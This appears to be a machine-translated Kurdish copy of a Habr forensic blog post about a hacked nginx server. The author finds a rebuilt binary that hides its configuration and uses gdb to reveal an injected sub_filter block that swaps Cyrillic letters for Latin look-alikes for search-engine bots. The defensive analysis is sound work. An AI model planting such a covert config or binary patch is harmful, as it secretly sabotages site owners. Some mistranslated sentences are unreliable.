Dema ku 'a' bi 'a' re nebe. Li ber hackekê

Çîrokek herî ne xweş hat serê hevalekî min. Lê bi qasî ku ji bo Mikhail ne xweş bû, ji bo min ew qas xweş bû.

Divê ez bibêjim ku hevalê min pir xweş e UNIX-bikarhêner: dikare pergalê bixwe saz bike mysql, php û mîhengên hêsan çêbikin nginx.
Û bi dehan an yek û nîv malperên wî hene ku ji amûrên avakirinê re hatine veqetandin.

Yek ji van malperan ku ji bo zincîran hatine veqetandin di TOP-a motorên lêgerînê de zexm rûniştiye. Ev malper lêkolînerek ne-bazirganî ye, lê kesek ket nav adetê ku êrîşî wê bike. Va DDoS, paşî zora hovane, paşê jî şîroveyên nebaş dinivîsin û binpêkirinan ji mêvandar û RKN re dişînin.
Ji nişkê ve, her tişt aram bû û ev aramî derket holê ku ne baş e, û malper hêdî hêdî dest pê kir ku ji rêzikên jorîn ên encamên lêgerînê derkeve.

Dema ku 'a' bi 'a' re nebe. Li ber hackekê

Ew gotinek bû, paşê çîroka admin bixwe.

Nêzîkî dema razanê bû dema ku têlefon lêxist: "San, ma tu li servera min nanêrî? Ji min re xuya dike ku ez hatim hack kirin, ez nikarim wê îsbat bikim, lê hest ji min re hefteya sêyemîn nehiştiye. Dibe ku tenê dem hatiye ku ez ji bo paranoyayê derman bikim?"

Tiştê ku li dûv hat niqaşek nîv saetî bû ku meriv dikare wiha bi kurtî bibêje:

  • axa ji bo hackkirinê pir bi bereket bû;
  • êrîşkarek dikare mafên superbikarhêner bi dest bixe;
  • êrîş (eger pêk hat) bi taybetî li ser vê malperê hate armanc kirin;
  • qadên pirsgirêkê hatine rast kirin û hûn tenê hewce ne ku hûn fêm bikin ka pêveçûnek heye;
  • hack nikare koda malperê û databases bandor bike.

Di derbarê xala dawî de.

Dema ku 'a' bi 'a' re nebe. Li ber hackekê

Tenê IP-ya pêşîn a spî li cîhanê dinêre. Ji xeynî http(s) di navbera paşperde û pêşiyê de danûstandin tune ye, bikarhêner/şîfre cuda ne, tu mift nehatine guhertin. Li ser navnîşanên gewr, ji bilî 80/443 hemî port girtî ne. IP-yên paşîn ên spî tenê ji du bikarhêneran re têne zanîn, ku Mikhail bi tevahî pê bawer e.

Li pêşê hatî saz kirin Debian 9 û dema ku bang tê kirin, pergal bi dîwarek agirek derveyî ji cîhanê tê îzolekirin û rawestandin.

"Ok, bihêle min bigihîje," ez biryar da ku xew ji bo saetekê bihêle. "Ez ê bi çavên xwe bibînim."

Li vir û bêtir:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Digerin ji bo hack gengaz

Ez serverê dest pê dikim, yekem di nav de rizgar-mode. Ez dîskan siwar dikim û di nav wan de digerim auth-têketin, dîrok, têketinên pergalê, û hwd., heke gengaz be, ez tarîxên çêkirina pelê kontrol dikim, her çend ez fam dikim ku qirkerek normal dê li dû xwe "bihejanda" û Misha jixwe dema ku ew li xwe digeriya, pir "teqandibû" .

Ez di moda normal de dest pê dikim, hîna bi rastî fam nakim ku li çi bigerim, ez veavakirinan dixwînim. Berî her tiştî ez eleqedar im nginx ji ber ku, bi gelemperî, ji bilî wê tiştek din li pêşiyê tune.
Vesazkirin piçûk in, di nav deh pelan de baş hatine saz kirin, ez tenê li wan digerim pisîk'ax yek bi yek. Her tişt paqij xuya dike, lê hûn qet nizanin ka min tiştek ji bîr kiriye linavxistin, bila ez navnîşek tevahî çêkim:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Min fêm nekir: "Lîsteya li ku ye?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Pirsa duyemîn li pirsa navnîşê tê zêdekirin: "Çima guhertoyek wusa kevnar a nginx?"

Wekî din, pergal bawer dike ku guhertoya herî dawî hatî saz kirin:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Ez bang dikim:
- Mişa, te çima ji nû ve kom kir nginx?
- Bisekine, ez jî nizanim çawa bikim!
- Baş e, here razê...

nginx ew eşkere ji nû ve hatî çêkirin û derketina navnîşê ku "-T" bikar tîne ji ber sedemek veşartî ye. Di derbarê hackkirinê de êdî guman tune û hûn dikarin wê bi hêsanî qebûl bikin û (ji ber ku Misha serverek nû bi her awayî veguhezand) pirsgirêk çareserkirî bihesibînin.

Û bi rastî, ji ber ku kesek maf wergirtiye reh'ah, wê hingê ew tenê watedar e ku meriv bike pergalê ji nû ve saz bikin, û bêkêr bû ku meriv li wir çi xelet bigere, lê vê carê meraq xew têk bir. Em çawa dikarin pêbihesin ku wan dixwest çi ji me veşêrin?

Ka em hewl bidin ku bişopînin:

$ strace nginx -T

Em lê dinêrin, eşkere ye ku di şopa a la de xetên têr nîn in

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Tenê ji bo kêfê, werin em dîtinan bidin ber hev.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Ez beşek kodê difikirim /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

hate formê:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

an

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

Ji ber vê yekê navnîşa "-T" nayê xuyang kirin.

Lê em çawa dikarin konfigurasyona xwe bibînin?

Ger ramana min rast be û pirsgirêk tenê di guhêrbar de ye ngx_dump_config em hewl bidin ku wê bikar bînin saz bikin gdb, xwezî kilîtek heye --bi-cc-opt -g niha û hêvî dikin ku optimization -O2 ew ê zirarê nede me. Di heman demê de, ji ber ku ez nizanim çawa ngx_dump_config dikaribû were pêvajo kirin doza 'T':, em ê gazî vê blokê nekin, lê bi karanîna wê saz bikin doza 't':

Çima hûn dikarin '-t' û hem jî '-T' bikar bîninBlock Processing eger (ngx_dump_config) di hundir de dibe eger (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Bê guman, heke kod di vê beşê de û ne di nav de were guhertin doza 'T':, wê hingê rêbaza min dê nexebite.

Test nginx.confJixwe pirsgirêk bi ceribandinê çareser kirin, hate destnîşankirin ku ji bo xebitandina malware mîhengek hindiktirîn hewce ye nginx awa:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Em ê di gotarê de ji bo kurtahî bikar bînin.

Debugger dest pê bikin

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Gav bi gav:

  • di fonksiyonê de xalek veqetandinê saz bikin ser()
  • bernameyê bidin destpêkirin
  • nirxa guhêrbara ku derana mîhengê diyar dike biguhezîne ngx_dump_config=1
  • bernameyê bidomînin/dawî bikin

Wekî ku em dibînin, konfigurasyona rastîn ji ya me cûda ye, em jê perçeyek parazît hilbijêrin:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Ka em bi rêz li vir binêrin ka çi diqewime.

Jidil Agentê bikarhêner's yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Rûpelên karûbar têne derxistin wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Û ji bo kesên ku di bin her du şertên jorîn de ne

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

di nivîsê de html-rûpel têne guhertin 'O' li ser 'o' и 'YEK' li ser 'yek':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Rast e, tenê hûrgelî ew e 'a' != 'a' just like 'o' != 'o':

Dema ku 'a' bi 'a' re nebe. Li ber hackekê

Bi vî rengî, botên motora lêgerînê, li şûna nivîsa normal 100% kirîlî, zibilên guhertî yên ku bi latînî ve hatî rijandin distînin. 'yek' и 'o'. Ez newêrim nîqaş bikim ka ev çawa bandorê li SEO dike, lê ne mimkûn e ku tevliheviyek tîpan bandorek erênî li ser pozîsyonên di encamên lêgerînê de bike.

Ez çi bibêjim, xortên bi xeyal.

references

Debugging bi GDB
gdb (1) - Rûpelê merivê Linux
strace (1) - Rûpelê merivê Linux
Nginx - Modula ngx_http_sub_module
Der barê saw, zincîre û elektrîkê de

Source: www.habr.com

Add a comment